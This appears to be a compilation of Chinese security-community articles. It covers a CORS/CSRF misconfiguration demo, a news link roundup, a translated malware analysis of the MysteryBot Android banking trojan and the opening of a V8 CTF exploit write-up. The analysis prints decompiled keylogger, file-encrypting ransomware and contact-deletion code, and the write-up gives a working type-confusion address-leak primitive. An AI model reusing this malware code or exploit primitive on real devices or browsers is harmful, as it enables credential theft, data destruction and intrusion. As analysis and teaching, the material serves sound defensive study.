3，再者就是，就算用了`Access-Control-Allow-Origin`，你觉得就够了么？
我们先来做个实验，在响应过滤器中加入以下代码，那么通常的理解应该就是除了来自abc.com的请求，其他源发来的请求应该都无效。
`resp.addHeader("Access-Control-Allow-Origin", "abc.com")`;
运行客户端代码，得到以下结果：
如预想的一样，无法得到请求结果。但你真的以为`Access-Control-Allow-Origin`阻止了这个请求么？完全没有。。。在服务器端的控制台可以看到如下输出：
如果发的是POST请求也会得到一样的结果：
POST请求代码：
<html>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script>
$.ajax({
url: "http://localhost:8080/TestWeb/data/post",
type: 'POST',
data: { data: "post method" },
success: function(data) {
alert(data);
},
error: function(e) {
alert("Error");
}
});
</script>
<body>
</body>
</html>
也就是说，就算你正确配置了`Access-Control-Allow-Origin`，最多也就是防止别人从响应中偷数据。对于修改数据的请求完全没用，不知道有多少人意识到这点，我刚发现的时候觉得很是蛋疼。
之后呢，有人会说，`restful
API的GET`请求本就该设计为不修改数据（有木有见过同一个`service`同时支持`GET`和`POST`的？），而`POST`请求的话内容应该是`JSON，Content-Type`也应该是`application/json`，而当不同源客户端修改`Content-Type`为`application/json`的时候浏览器会进行预检，之后请求就会失败。这个思路是对的，也在此提醒开发者，一定要在服务器端坚持`Content-type`，很多搞开发的会忘记这个。
然而，要考虑的不仅有这些。如果把其他响应头设置错误甚至会导致以上的防御失效。来看下一个例子，服务器端检查了所有POST请求的`Content-type`，必须存在且必须为`application/json`，允许任何源发`OPTIONS`请求，其他请求只允许abc.com发，但不小心在`Access-Control-Allow-Headers`中加入了`Content-type`。
在响应过滤器代码中加入:
if (request.getMethod().equals("POST")
&& (request.getHeader("Content-Type") == null || !request
.getHeader("Content-Type").toLowerCase()
.startsWith("application/json"))) {
resp.setStatus(HttpServletResponse.SC_TEMPORARY_REDIRECT);
return;
}
if(request.getMethod().equals("OPTIONS")){
resp.addHeader("Access-Control-Allow-Origin", "*");
}
else
{
resp.addHeader("Access-Control-Allow-Origin", "abc.com");
}
resp.addHeader("Access-Control-Allow-Headers", "Content-Type");
resp.addHeader("Access-Control-Allow-Methods", "GET, POST, OPTIONS");
客户端代码：
<html>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script>
$.ajax({
url: "http://localhost:8080/TestWeb/data/post",
type: 'POST',
contentType: "application/json",
data: JSON.stringify({ data: "post method" }),
success: function(data) {
alert(data);
},
error: function(e) {
alert("Error");
}
});
</script>
<body>
</body>
</html>
结果就是服务器端依旧接收到了这个请求并处理了:
数据值为null是因为客户端发的是JSON格式，服务器端需要特别处理一下才会显示。
至此，你可以看到，在做`API CSRF`防护的时候需要很谨慎，稍微配置错就可能导致防护失效。
首先你要确保GET请求就只是用来做数据获取的，而不是修改。
其次服务器端要检查`Content-typ`。
然后在设置`Access-Control-Allow-Origin`的时候不仅要把域名范围考虑周全，还要把`OPTIONS`也考虑进去。
有人会说可以直接服务器端检查`referral`或者`origin`，这么做也是个解决方案，但并不是最佳实践。而如果遇到有要用API提供文件上传功能的时候，似乎也只能硬着头皮搞了，毕竟上传功能很可能需要支持`multi-part`，这种`Content-type`是不会触发预检的。
还有。。似乎在IE上预检的触发条件不一样。。。以上的例子在我机器上就没有触发。。
此文写出来仅是希望与大家共同探讨API安全，虽然现在微服务架构的应用还不多，但未来很可能成为趋势。 | 社区文章 |
# 3月12日安全热点 – VK Messenger//URI Handler 命令执行漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
2017年我国联网智能设备安全情况报告
<https://mp.weixin.qq.com/s/3t8-Wc-0Z0ROB66A36jZ4w>
可疑的证书销售商只需花费几千美元即可给恶意程序一个有效签名
<https://www.theregister.co.uk/2018/03/12/susicious_digital_cetificate_sales/>
如何保护你的密码免受黑客，盗窃和意外
<https://hackernoon.com/how-to-protect-your-crypto-from-hacks-theft-and-the-unexpected-b6c6b27398f5>
关于SQL注入漏洞的4个误解
<https://hackernoon.com/4-misconceptions-about-sql-injection-vulnerabilities-8f4a5be4df69>
揭秘：美国政府囤积了多少比特币？
<https://www.secrss.com/articles/1341>
## 技术类
Web日志安全分析系统实践
<https://xianzhi.aliyun.com/forum/topic/2136>
VK Messenger //URI Handler 命令执行漏洞
<https://blogs.securiteam.com/index.php/archives/3674>
模糊ELF二进制文件中的任意函数
<https://blahcat.github.io/2018/03/11/fuzzing-arbitrary-functions-in-elf-binaries/>
黑客的Docker
<https://www.pentestpartners.com/security-blog/docker-for-hackers-a-pen-testers-guide/>
Imagination by kratorius
<https://secrary.com/CrackMe/ImaginationCrackme/>
DockerAttack
<https://github.com/ZephrFish/DockerAttack> | 社区文章 |
# 新型安卓银行木马 MysteryBot 详细分析
|
##### 译文声明
本文是翻译文章，文章来源：www.threatfabric.com
原文地址：<https://www.threatfabric.com/blogs/mysterybot__a_new_android_banking_trojan_ready_for_android_7_and_8.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在处理我们的日常可疑样本时，我们对Android银行木马LokiBot的检测规则与LokiBot本身似乎完全不同的样本相匹配，这促使我们更仔细地研究它。看一下bot命令，我们首先认为LokiBot已经改进了。然而，我们很快意识到还有更多的事情正在发生：bot的名字和操作面板的名称都变成了“MysteryBot”，甚至网络通信也发生了变化。
在对其网络活动的调查中，我们发现MysteryBot和LokiBot
Android银行木马都在同一个C&C服务器上运行。这很快使我们得出了一个初步结论，即这个新发现的恶意软件要么是对Lokibot的更新，要么是由同一参与者开发的另一个银行木马程序。
为了验证我们的想法，我们搜索了一些其他来源，并发现使用相同C&C的两个恶意软件样本之间有更多的相似之处，如下Koodous的截图所示：
[](https://p1.ssl.qhimg.com/t017080dadf68c1a29d.png
"与Koodous上的LokiBot链接的MysteryBot")
## 功能
这个bot具有最普通的Android银行木马功能，但似乎超过平均水平。覆盖、关键日志和勒索的功能是新颖的，在后面我们会详细介绍。下表列出了所有的bot命令和相关特性。
[](https://p1.ssl.qhimg.com/t017625f6d2ac454fa5.png)
下面的屏幕截图显示了允许操作员在bot上启动特定命令的下拉列表：
[](https://p0.ssl.qhimg.com/t0155358018a9bb4149.png "命令启动程序的屏幕截图")
## 覆盖模块已支持Android 7/8
随着Android
7和8版本的引入，以前使用的覆盖技术变得无法访问，迫使出于经济动机的攻击者在他们的银行木马中寻找使用覆盖的新方法。在过去三个月中，一些最大的Android银行木马家族，如ExoBot
2.5、Anubis II、DiseaseBot，一直在探索新技术，以正确地对Android 7和8进行覆盖攻击。
覆盖攻击的成功取决于时间，在受害者打开相关应用程序时，诱使受害者在一个伪造的页面上询问凭证或信用卡信息。不定时覆盖会使覆盖屏幕出现在意外的时刻，导致受害者意识到恶意软件的存在。在Android
7和8中，Security-Enhanced
Linux(SELinux)和其他安全控制(沙箱限制)使用的限制使这一点变得困难。因此攻击者一直在努力寻找正确的时间重叠的新方法，这在Android银行木马犯罪生态系统中引发了许多技术争论。
它滥用了
[PACKAGE_USAGE_STATS](https://developer.android.com/reference/android/app/usage/UsageStatsManager)权限(通常称为Usage
Access权限)。MysteryBot的代码已经与所谓的Package_Usage_STATS技术进行了整合。因为滥用此Android权限需要受害者提供使用权限，所以MysteryBot使用流行的AccessibilityService，允许木马在未经受害者同意的情况下启用和滥用任何必需的权限。
经验告诉我们，用户通常授予应用程序[Device
Administrator](https://developer.android.com/guide/topics/admin/device-admin)和[AccessibilityService](https://developer.android.com/reference/android/accessibilityservice/AccessibilityService)权限，授权恶意软件在受感染的设备上执行进一步的操作。如今，受害者授予这种权限的原因以及要求详尽权限集的应用程序的数量似乎使用户在不审查所请求的权限的情况下授予权限变得很常见。目前，MysteryBot没有使用这样的MO来获得使用访问权限，但会直接询问受害者或它。
下面的屏幕截图显示了恶意软件(隐藏为假AdobeFlashPlayer应用程序)一旦安装，列出了请求使用访问权限的应用程序。一旦触发受害者提供权限，恶意应用程序的状态将更改为“on”。
[](https://p0.ssl.qhimg.com/t01814583c8edc10c07.png "请求访问权限的应用程序的截图")
在对这一新技术进行调查时，我们重新创建了参与者用来检测前台应用程序的逻辑，以确认滥用该权限将允许覆盖工作。测试结果是肯定的，我们确实可以在前台得到应用程序的包名。下面的屏幕截图显示，在我们的测试设备上，包名为au.com.nab.Mobile(NAB移动银行)的应用程序位于前台，在Android
7和Android 8上都能工作。
[](https://p4.ssl.qhimg.com/t01dc3e22a9809e14fd.png)
这是BOT用来获取最新应用程序包名的代码片段：getLastUseApplication()
@TargetApi(value = 21)
public void getLastUsedApplication() {
try {
do {
label_0:
TimeUnit.MILLISECONDS.sleep(1000);
gotolabel_8;
} while (true);
} catch (InterruptedException interruptedException) {
try {
interruptedException.printStackTrace();
label_8:
Object usageStatsManager = this.getSystemService("usagestats");
long epochTime = System.currentTimeMillis();
List usageStatsList = ((UsageStatsManager) usageStatsManager).queryUsageStats(0, epochTime - 10000, epochTime);
if (usageStatsList == null || usageStatsList.size() <= 0) {
gotolabel_0;
}
TreeMap sortedMap = new TreeMap();
Iterator usageStatsListIterator = usageStatsList.iterator();
while (usageStatsListIterator.hasNext()) {
Object usageStats = usageStatsListIterator.next();
((SortedMap) sortedMap).put(Long.valueOf(((UsageStats) usageStats).getLastTimeUsed()), usageStats);
}
if (((SortedMap) sortedMap).isEmpty()) {
gotolabel_0;
}
String packageName = ((SortedMap) sortedMap).get(((SortedMap) sortedMap).lastKey()).getPackageName();
PrintStream printStream = System.out;
StringBuilder output = new StringBuilder().insert(0, "Total:================ "));
output.append(packageName);
printStream.println(output.toString());
gotolabel_0;
} catch (Exception ex) {
ex.printStackTrace();
return;
}
}
}
## 基于触摸数据的键记录(新)
在分析键盘记录程序的功能时，我们感到奇怪的是，没有使用任何已知的键盘记录技术。另外两个著名的Android银行木马嵌入键盘记录模块(CryEye和Anubis)确实滥用Android辅助功能来记录按键或在按键上进行截图；然而，这种技术要求受害者在安装恶意软件后授予辅助功能许可(因此需要更多的用户交互才能成功)。
MysteryBot似乎使用了一种新的创新技术来记录击键。它认为，键盘的每个键在屏幕上、在任何给定的电话上都有一个固定的位置，无论电话是水平还是垂直持有，它也考虑到每个键的大小相同，因此与前一个键的像素数相同。总之，该技术似乎计算了每一行的位置，并在每个键上放置一个视图。此视图的宽度和高度为0像素，由于使用了“FLAG_SECURE”设置，在屏幕截图中视图不可见。然后，每个视图与一个特定的键配对，这样它就可以记录已经按下的键，然后保存这些键以供进一步使用。
在编写本报告时，键盘记录器的代码似乎仍在开发中，因为还没有将日志发送到C2服务器的方法。
此代码片段显示用于记录击键的函数。请注意，设置了每个层的y坐标，而每个层的x坐标乘以当前迭代的值(因为整行键的布局仅在x轴上不同)。
for (i = 0; true; ++i) {
int10 = 10;
int0x800053 = 0x800053;
if (i >= this.keyboardLayer0.length) {
break;
}
this.keyboardLayer0[i] = View.inflate(((Context) this), resource, viewGroup);
windowManager = new WindowManager$LayoutParams(this.x / 10, 50, 2003, 0x40018, -3);
this.keyboardLayer0[i].setOnTouchListener(new HandleKeystrokeLayer0(this));
windowManager.gravity = int0x800053;
windowManager.x = this.x / int10 * i;
windowManager.y = 0xFA;
this.systemServiceWindow.addView(this.keyboardLayer0[i], ((ViewGroup$LayoutParams) windowManager));
}
for (i = 0; i < this.keyboardLayer1.length; ++i) {
this.keyboardLayer1[i] = View.inflate(((Context) this), resource, viewGroup);
windowManager = new WindowManager$LayoutParams(this.x / 9, 50, 2003, 0x40018, -3);
this.keyboardLayer1[i].setOnTouchListener(new HandleKeystrokeLayer1(this));
windowManager.gravity = int0x800053;
windowManager.x = this.x / 9 * i;
windowManager.y = 170;
this.systemServiceWindow.addView(this.keyboardLayer1[i], ((ViewGroup$LayoutParams) windowManager));
}
for (i = 0; i < this.keyboardLayer2.length; ++i) {
this.keyboardLayer2[i] = View.inflate(((Context) this), resource, viewGroup);
windowManager = new WindowManager$LayoutParams(this.x / 9, 50, 2003, 0x40018, -3);
this.keyboardLayer2[i].setOnTouchListener(new HandleKeystrokeLayer2(this));
windowManager.gravity = int0x800053;
windowManager.x = this.x / 9 * i;
windowManager.y = 90;
this.systemServiceWindow.addView(this.keyboardLayer2[i], ((ViewGroup$LayoutParams) windowManager));
}
while (j < this.keyboardLayer3.length) {
this.keyboardLayer3[j] = View.inflate(((Context) this), resource, viewGroup);
i = 2;
int v4_1 = j == i ? this.x / 9 * 5 : this.x / 9;
int v8 = v4_1;
windowManager = new WindowManager$LayoutParams(v8, 50, 2003, 0x40018, -3);
this.keyboardLayer3[j].setOnTouchListener(new HandleKeystrokeLayer3(this));
windowManager.gravity = int0x800053;
i = j > i ? this.x / 9 * (j + 4) : this.x / 9 * j;
windowManager.x = i;
windowManager.y = int10;
this.systemServiceWindow.addView(this.keyboardLayer3[j], ((ViewGroup$LayoutParams) windowManager));
++j;
}
此代码片段显示用于保存击键的函数，该函数驻留在“HandleKeystrokeLayerN”类中。请注意，如果该值等于“4”，则会导致“[ACTION_OUTSIDE](https://developer.android.com/reference/android/view/MotionEvent.html#ACTION_OUTSIDE)”，只有当用户触摸UI元素(视图)之外屏幕上的某个位置时，才会激活该值。由于视图是0乘0像素，这应该始终是正确的，但如果这在某种程度上不同，击键不被记录。
public boolean onTouch(View view, MotionEvent motionEvent) {
view.performClick();
if(motionEvent.getAction() == 4) {
Keylogger.setKeyStroke(this.keylogger, Keylogger.getMotionEventFlagTotal(this.keylogger) + motionEvent.getFlags());
}
return 0;
}
此代码片段显示是否使用Shift或ALT键，存储为布尔值，如下面的方法所示。由于它使用自身的XOR值，因此true值被设置为false，反之亦然。
if(character.equals("alt") {
Keylogger.setAltEnabled(this.keylogger, Keylogger.getIsAltEnabled(this.keylogger) ^ 1);
}
if(character.equals("shift") {
Keylogger.getShiftEnabled(this.keylogger, Keylogger.setShift(this.keylogger) ^ 1);
}
此代码片段显示如何保存记录的击键(使用简单的检查)。
if (!character.equals("outside") && !character.equals("symbols") && !character.equals("alt") && !character.equals("misc") && !character.equals("shift") && !character.equals("back") && !character.equals("enter") {
keylogger = this.keylogger;
currentStroke = new StringBuilder().insert(0, Keylogger.getCurrentStroke(this.keylogger));
currentStroke.append(character);
Keylogger.setCurrentStroke(keylogger, currentStroke.toString());
}
## 勒索软件
一个名为“Myster_L0cker”的操作界面，如下截图所示：
[](https://p1.ssl.qhimg.com/t01d2922f51a9acd129.png "用于管理勒索受害者的界面的截图")
MysteryBot还嵌入了一个ransomware特性，允许自己单独加密外部存储目录中的所有文件，包括每个子目录，然后删除原始文件。加密过程将每个文件放入一个单独的ZIP存档中，该存档受密码保护，所有ZIP存档的密码都是相同的，并且是在运行时生成的。加密过程完成后，用户会收到一个对话框，指责受害者观看色情材料。要检索密码并能够解密文件，用户需要通过电子邮件将参与者的电子邮件发送到他的电子邮件地址：
googleprotect[at]mail.ru
在分析Ransomware功能的过程中，出现了两个失败的地方：
首先，加密过程中使用的密码只有8个字符长，由拉丁字母的所有字符(大小写)和数字组成。要从其中挑选的字符总数为62个，使可能组合的总数达到62到8的幂，这可能过于粗暴的，并带有相关的处理能力。
其次，分配给每个受害者的ID可以是0到9999之间的数字。由于没有对现有ID进行验证，因此C2数据库中可能存在具有相同ID的另一个受害者，从而覆盖C2数据库中的ID。导致具有重复ID的老年受害者无法恢复他们的文件。
这个代码片段显示了用于生成加密过程中使用的密码的过程：GeneratePassword()
public static String generatePassword() {
Random random = new Random();
StringBuilder passwordLength8 = new StringBuilder();
String seed = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
for (int i = 0; i < 8; i++) {
int characterLocation = random.nextInt(seed.length());
char currentChar = seed.charAt(characterLocation);
passwordLength8.append(currentChar);
}
return passwordLength8.toString();
}
这个代码片段显示了递归扫描目录的代码：ScanDirectory()
public void scanDirectory(File file) {
try {
File[] fileArray = file.listFiles();
if (fileArray == null) {
return;
}
int amountOfFiles = fileArray.length;
for (int i = 0; i < amountOfFiles; i++) {
File currentFile = fileArray[i];
if (currentFile.isDirectory()) {
this.scanDirectory(currentFile);
} else {
this.deleteFileEncryptInZip(currentFile);
}
}
} catch (Exception ex) {
ex.printStackTrace();
}
}
这个代码片段显示了用于加密给定目录的代码：delteFileEncryptInZip()
public String deleteFileEncryptInZip(File file) {
try {
StringBuilder canonicalPath = new StringBuilder().insert(0, file.getCanonicalPath());
canonicalPath.append(".zip");
ZipFile zipFile = new ZipFile(canonicalPath.toString());
ArrayList paths = new ArrayList();
paths.add(new File(String.valueOf(file)));
ZipParameters zipParameters = new ZipParameters();
zipParameters.setCompressionMethod(8);
zipParameters.setCompressionLevel(5);
zipParameters.setEncryptFiles(true);
zipParameters.setEncryptionMethod(99);
zipParameters.setAesKeyStrength(3);
zipParameters.setPassword(this.password);
zipFile.addFiles(paths, zipParameters);
file.delete();
StringBuilder dblocksPath = new StringBuilder();
dblocksPath.append(Environment.getExternalStorageDirectory());
dblocksPath.append("/dblocks.txt");
BufferedWriter bufferedWriter = new BufferedWriter(new FileWriter(new File(dblocksPath.toString()), true));
bufferedWriter.write("+1n");
bufferedWriter.close();
} catch (Exception ex) {
ex.printStackTrace();
}
return "";
}
这个代码片段显示了所有联系人的删除：delteContact()
private void deleteContacts() {
ContentResolver contentResolver = this.getContentResolver();
Cursor contacts = contentResolver.query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
while(contacts.moveToNext()) {
try {
contentResolver.delete(Uri.withAppendedPath(ContactsContract$Contacts.CONTENT_LOOKUP_URI, contacts.getString(contacts.getColumnIndex(LL.LLdecrypt("u0007Mu0004Iu001ER")))), null, null); // lookup
}
catch(Exception ex) {
System.out.println(ex.getStackTrace());
}
}
new ScanAndEncryptAsync(this).execute(new Integer[]{Integer.valueOf(1)});
}
## 覆盖目标
get_inj_list 操作从C&C服务器检索带有覆盖的目标应用程序，注意在编写本文时，参与者正在扩展和进一步开发这个覆盖操作类。
以下是实际目标应用程序的列表(撰写本文时仍在开发中)：
[](https://p1.ssl.qhimg.com/t01ccee49a2b76d2b6e.jpg)
## 结论
尽管某些Android银行恶意木马家族如ExoBot 2.5、Anubis II、DiseaseBot等一直在探索对Android
7和8进行覆盖攻击的新技术，但MysteryBot背后的开发者似乎已经成功地实现了一种解决方案，并在创新上花了一些时间。覆盖攻击的实现滥用了使用访问权限，以便在Android操作系统的所有版本(包括最新的Android
7和8)上运行。
MysteryBot开发者使用这个新实现对密钥记录进行了创新。有效降低检测率并限制启用记录器所需的用户交互。实际上，关键日志记录机制基于屏幕上的接触点，而不是使用经常被滥用的Android可访问性服务，这意味着它比通常的击键更有可能记录更多的日志。该勒索软件还包括一个新的高度恼人的功能——删除接触名单中的受感染设备，这是银行木马到目前为止没有观察到的东西。其次，尽管仍在开发中的另一个功能引起了我们的注意，根据使用中的命名约定，名为GetMail的功能似乎是为了从受感染的设备收集电子邮件消息。增强的覆盖攻击还运行在最新的Android版本上，结合了先进的键盘记录和潜在的开发功能，将允许MysteryBot获取广泛的个人可识别信息，以执行欺诈。
在过去的6个月中，我们观察到代理、键盘记录、远程访问、录音和文件上传等功能越来越普遍；我们怀疑这种趋势只会在将来增长。这些功能的问题在于，除了绕过安全和检测措施之外，这些功能使威胁更少地针对目标，而更具有机会主义。例如，键盘记录、远程访问、文件上传和录音允许在没有特定触发器的情况下获取高级信息(即使受害者不进行网上银行业务，信息也可能被窃取和记录)。如果我们对此类行为增加的预期成为事实，这意味着金融机构将很难评估它们是否成为特定威胁的目标，所有受感染的设备都可能成为欺诈和间谍活动的来源。
## IOC
请注意，在撰写本文时，MysteryBot仍处于开发阶段，尚未广泛传播。
AdobeFlashPlayer(install.app)
334f1efd0b347d54a418d1724d51f8451b7d0bebbd05f648383d05c00726a7ae | 社区文章 |
>
> 这道题主要涉及v8中的dependency机制，由于patch文件删除了某些添加依赖（dependency）的代码，导致在生成的JIT代码中，即使某些元素类型发生了变化也不会触发deoptimize，从而导致type
> confusion。
>
>
> 在这篇writeup里我主要记录我分析的过程，因为我事先从已有的wp中知道到了一些结论性的东西，所以我试图找到一个从零逐步寻找得到最后结果的逻辑，这个过程中可能会显得比较啰嗦。
# 调试环境
具体环境搭建步骤就不详述了，patch文件在[这里](https://github.com/Hpasserby/pwn_learn/tree/master/realworld/accessible)下载
git reset --hard eefa087eca9c54bdb923b8f5e5e14265f6970b22
gclient sync
git apply ../challenge.patch
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug
# 漏洞分析
首先分析题目patch文件
diff --git a/src/compiler/access-info.cc b/src/compiler/access-info.cc
index 0744138..1df06df 100644
--- a/src/compiler/access-info.cc
+++ b/src/compiler/access-info.cc
@@ -370,9 +370,11 @@ PropertyAccessInfo AccessInfoFactory::ComputeDataFieldAccessInfo(
// The field type was cleared by the GC, so we don't know anything
// about the contents now.
}
+#if 0
unrecorded_dependencies.push_back(
dependencies()->FieldRepresentationDependencyOffTheRecord(map_ref,
descriptor));
+#endif
if (descriptors_field_type->IsClass()) {
// Remember the field map, and try to infer a useful type.
Handle<Map> map(descriptors_field_type->AsClass(), isolate());
@@ -384,15 +386,17 @@ PropertyAccessInfo AccessInfoFactory::ComputeDataFieldAccessInfo(
}
// TODO(turbofan): We may want to do this only depending on the use
// of the access info.
+#if 0
unrecorded_dependencies.push_back(
dependencies()->FieldTypeDependencyOffTheRecord(map_ref, descriptor));
+#endif
PropertyConstness constness;
if (details.IsReadOnly() && !details.IsConfigurable()) {
constness = PropertyConstness::kConst;
} else {
map_ref.SerializeOwnDescriptor(descriptor);
- constness = dependencies()->DependOnFieldConstness(map_ref, descriptor);
+ constness = PropertyConstness::kConst;
}
Handle<Map> field_owner_map(map->FindFieldOwner(isolate(), descriptor),
isolate());
`AccessInfoFactory::ComputeDataFieldAccessInfo`函数中，有两处`unrecorded_dependencies.push_back`被删除掉，同时让`constness`始终被赋值为`PropertyConstness::kConst`
先浏览一下整个函数的功能（以下为patch后的代码），首先获取了`map`中的`instance_descriptors`(存储了对象属性的元信息)，然后通过`descriptor`定位到了一个具体的属性。
PropertyAccessInfo AccessInfoFactory::ComputeDataFieldAccessInfo(
Handle<Map> receiver_map, Handle<Map> map, MaybeHandle<JSObject> holder,
int descriptor, AccessMode access_mode) const {
...
Handle<DescriptorArray> descriptors(map->instance_descriptors(), isolate());
PropertyDetails const details = descriptors->GetDetails(descriptor);
...
Representation details_representation = details.representation();
...
依次判断属性的类型，在进行一定的检查后，将属性加入到`unrecorded_dependencies`中。patch导致了一些本应该加入到`unrecorded_dependencies`的属性没有被加入进去。
if (details_representation.IsNone()) {
...
}
ZoneVector<CompilationDependency const*> unrecorded_dependencies(zone());
if (details_representation.IsSmi()) {
...
unrecorded_dependencies.push_back(
dependencies()->FieldRepresentationDependencyOffTheRecord(map_ref,
descriptor));
} else if (details_representation.IsDouble()) {
...
unrecorded_dependencies.push_back(
dependencies()->FieldRepresentationDependencyOffTheRecord(
map_ref, descriptor));
} else if (details_representation.IsHeapObject()) {
...
#if 0
unrecorded_dependencies.push_back(
dependencies()->FieldRepresentationDependencyOffTheRecord(map_ref,
descriptor));
#endif
} else {
...
}
#if 0
unrecorded_dependencies.push_back(
dependencies()->FieldTypeDependencyOffTheRecord(map_ref, descriptor));
#endif
...
最后，因为patch的修改，使得所有属性都被标注为`KConst`
PropertyConstness constness;
if (details.IsReadOnly() && !details.IsConfigurable()) {
constness = PropertyConstness::kConst;
} else {
map_ref.SerializeOwnDescriptor(descriptor);
constness = PropertyConstness::kConst;
}
Handle<Map> field_owner_map(map->FindFieldOwner(isolate(), descriptor),
isolate());
switch (constness) {
case PropertyConstness::kMutable:
return PropertyAccessInfo::DataField(
zone(), receiver_map, std::move(unrecorded_dependencies), field_index,
details_representation, field_type, field_owner_map, field_map,
holder);
case PropertyConstness::kConst:
return PropertyAccessInfo::DataConstant(
zone(), receiver_map, std::move(unrecorded_dependencies), field_index,
details_representation, field_type, field_owner_map, field_map,
holder);
}
在这里，这个`unrecorded_dependencies`显然是问题的关键。
继续跟踪函数返回值可以发现最终返回的是一个PropertyAccessInfo对象，而`unrecorded_dependencies`则是被初始化赋值给私有成员`unrecorded_dependencies_`
PropertyAccessInfo::PropertyAccessInfo(
Kind kind, MaybeHandle<JSObject> holder, MaybeHandle<Map> transition_map,
FieldIndex field_index, Representation field_representation,
Type field_type, Handle<Map> field_owner_map, MaybeHandle<Map> field_map,
ZoneVector<Handle<Map>>&& receiver_maps,
ZoneVector<CompilationDependency const*>&& unrecorded_dependencies)
: kind_(kind),
receiver_maps_(receiver_maps),
unrecorded_dependencies_(std::move(unrecorded_dependencies)),
transition_map_(transition_map),
holder_(holder),
field_index_(field_index),
field_representation_(field_representation),
field_type_(field_type),
field_owner_map_(field_owner_map),
field_map_(field_map) {
DCHECK_IMPLIES(!transition_map.is_null(),
field_owner_map.address() == transition_map.address());
}
查找引用该私有成员的代码，主要有两个函数
bool PropertyAccessInfo::Merge(PropertyAccessInfo const* that,
AccessMode access_mode, Zone* zone)
void PropertyAccessInfo::RecordDependencies(
CompilationDependencies* dependencies)
其中Merge函数中合并了两个`unrecorded_dependencies_`，RecordDependencies函数中将`unrecorded_dependencies_`转移到了`CompilationDependencies`类的私有成员`dependencies_`并清空了自身
浏览`CompilationDependencies`类所在的`compilation-dependency.cc(.h)`文件，从注释中可以得知该类用于收集和安装正在生成的代码的依赖。
在文件中查找`dependencies_`，发现主要引用的代码均为遍历`dependencies_`并调用`IsValid()`。
`IsValid()`被`CompilationDependencies`的每个子类所重载，根据代码，其功能我的理解是用于判断某个元素是否已经改变或者过时。
为了进一步了解该类的作用，我在搜索了引用该头文件的代码。可以发现，结果中几乎都是用于JIT优化的文件。
逐个跟进文件查看后，我在`compilation-dependencies.cc`中注意到了以下部分代码。从代码中可以看出，Ruduce过程中，可以通过添加dependency的方式来将CheckMaps节点删除，我认为这便是道题的root
cause.
Reduction TypedOptimization::ReduceCheckMaps(Node* node) {
// The CheckMaps(o, ...map...) can be eliminated if map is stable,
// o has type Constant(object) and map == object->map, and either
// (1) map cannot transition further, or
// (2) we can add a code dependency on the stability of map
// (to guard the Constant type information).
Node* const object = NodeProperties::GetValueInput(node, 0);
Type const object_type = NodeProperties::GetType(object);
Node* const effect = NodeProperties::GetEffectInput(node);
base::Optional<MapRef> object_map =
GetStableMapFromObjectType(broker(), object_type);
if (object_map.has_value()) {
for (int i = 1; i < node->op()->ValueInputCount(); ++i) {
Node* const map = NodeProperties::GetValueInput(node, i);
Type const map_type = NodeProperties::GetType(map);
if (map_type.IsHeapConstant() &&
map_type.AsHeapConstant()->Ref().equals(*object_map)) {
if (object_map->CanTransition()) {
dependencies()->DependOnStableMap(*object_map);
}
return Replace(effect);
}
}
}
return NoChange();
}
// Record the assumption that {map} stays stable.
void DependOnStableMap(const MapRef& map);
## 总结
结合一些资料，对dependency我的理解是
对于JS类型的不稳定性，v8中有两种方式被用来保证runtime优化代码中对类型假设的安全性
1. 通过添加CheckMaps节点来对类型进行检查，当类型不符合预期时将会bail out
2. 以dependency的方式。将可能影响map假设的元素添加到dependencies中，通过检查这些dependency的改变来触发回调函数进行deoptimize
该题目中，因为删除了某些添加dependency的代码，这就导致在代码runtime中，某些元素的改变不会被检测到从而没有deoptimize，最终造成type
confusion。
# 构造POC
patch删除了`details_representation.IsHeapObject()`分支中的`unrecorded_dependencies.push_back`操作，这意味`HeapObject`类型不会被加入dependencies中。
运行以下代码
var obj = {};
obj.c = {a: 1.1};
function leaker(o){
return o.c.a;
}
for (var i = 0; i < 0x4000; i++) {
leaker(obj);
}
var buf_to_leak = new ArrayBuffer();
obj.c = {b: buf_to_leak}
console.log(leaker(obj)) //output: 2.0289592652999e-310
以上代码中，将字典`{a: 1.1}`加入到`obj`中，函数`leaker`返回`o.c.a`
将obj作为参数传入leaker，生成JIT代码后，用`{b:
buf_to_leak}`替换掉原来的字典，再次调用leaker(obj)，可以发现并没有触发deoptimize，而是输出了一个double值（buf_to_leak的地址)
其原因正是因为`{a: 1.1}`对象并没有被添加到dependency中，导致后期修改时并没有被检测到，从而导致问题。
> 注意：修改obj.c时不能使用同属性名，如{a:
> buf_to_leak}，因为事实上仍然存在一些依赖会影响到deoptimize，这点我没有找到更详细的解释，希望有师傅能够解释一下。参考：<https://twitter.com/itszn13/status/1173627505485516801?s=20>
使用Turbolizer可视化程序IR，验证我们的猜想
cd tools/turbolizer
npm i
npm run-script build
python -m SimpleHTTPServer
使用以下命令执行代码，并使用浏览器访问`127.0.0.1:8000`打开生成的文件
./out.gn/x64.debug/d8 --trace-turbo ../../../exps/accessible/poc.js --trace-turbo-path ../
可以看到，在TyperLowering时还存在两次CheckMaps，分别对应obj和obj.c
而到了SimplifiedLowering时已经只有对obj的CheckMaps了，这说明obj.c的转为使用dependency的方式来进行检查。
# 漏洞利用
既然存在type confusion，那么我们可以用JSArray来伪造一个ArrayBuffer，即可控制到BackingStore，从而实现任意读写。
## 对象地址泄露
在poc中我们已经实现了该功能
var obj1 = {c: {x: 1.1}};
function leaker(o){
return o.c.x;
}
for(var i = 0; i < 0x5000; i++){
leaker(obj1);
}
function leak_obj(o){
obj1.c = {y: o};
res = mem.d2u(leaker(obj1))
return res
}
## 伪造ArrayBuffer
### JSArray内存模型
我们首先进行如下调试
d8> var arr = [1.1, 2.2, 3.3]
d8> %DebugPrint(arr)
DebugPrint: 0x831db04dd99: [JSArray]
- map: 0x2b36a3c82ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x251f23191111 <JSArray[0]>
- elements: 0x0831db04dd71 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x25361adc0c71 <FixedArray[0]> {
